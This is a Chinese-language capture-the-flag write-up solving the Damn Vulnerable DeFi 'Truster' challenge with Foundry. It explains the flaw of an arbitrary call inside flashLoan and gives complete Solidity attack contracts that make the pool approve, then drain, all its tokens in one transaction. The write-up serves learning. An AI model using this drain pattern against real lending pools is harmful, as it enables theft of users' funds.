Challenge 3 - Truster
为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉
合约
- TrusterLenderPool:提供闪电贷功能,池子中有100w DVT tokens
脚本
- 部署DamnValuableToken、TrusterLenderPool合约
- 向pool中转入100w DVT tokens
- 执行攻击脚本
- 期望100w token全部归属player账户,pool余额清空
题解
在pool中的flashLoan方法中,首先需要计算当前的token余额balanceBefore,然后转移token到borrower,再执行给定target.functionCall,最后校验当前余额和balanceBefore
区别于之前的闪电贷,这里pool没有继承IERC3156FlashLender,而是通过调用传入的target和calldata完成回调功能
因此主要的攻击方向就是target.functionCall,包括的内容是:
- 将指定amount的token approve给攻击合约
- 执行repay流程
执行完functionCall后再利用transfer方法将token从pool中转移出来,整体流程图如下所示:

根据题目要求,尽可能在一笔交易完成,那么需要写合约来完成flashloan+approve+transfer的操作
包括两个合约:TmpAttacker和Attacker,执行flashloan的是Attacker,但是因为一笔交易内完成(只有部署合约),部署合约时无法拿到当前合约地址,需要再创建一个合约:TmpAttacker
部署Attacker合约时会调用pool.flashLoan,此时amount为0,只是为了进行approve,将TOKENS_IN_POOL数目的token approve给TmpAttacker
再调用TmpAttacker.withdraw将token转移到player账户,完成攻击
整体代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";
contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}
function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}
contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}